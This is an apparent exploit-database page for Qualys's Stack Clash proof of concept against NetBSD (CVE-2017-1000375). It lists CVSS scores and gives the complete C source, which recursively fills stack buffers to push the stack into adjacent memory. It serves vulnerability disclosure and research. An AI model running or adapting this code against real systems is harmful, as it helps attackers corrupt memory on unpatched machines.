NetBSD Stack Clash Proof of Concept

Published
Credit
Risk
2017.06.29
Qualys
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-1000375
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

/*
* NetBSD_CVE-2017-1000375.c (please compile with -O0)
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

static void
smash_no_jump(const size_t smash_size)
{
char buf[1024];
memset(buf, 'A', sizeof(buf));
if (smash_size > sizeof(buf))
smash_no_jump(smash_size - sizeof(buf));
}

int
main(const int argc, const char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();

if (argc != 2) die();
const size_t smash_size = strtoul(argv[1], NULL, 0);
if (smash_size <= 0 || smash_size >= SSIZE_MAX) die();
smash_no_jump(smash_size);
exit(EXIT_SUCCESS);
}


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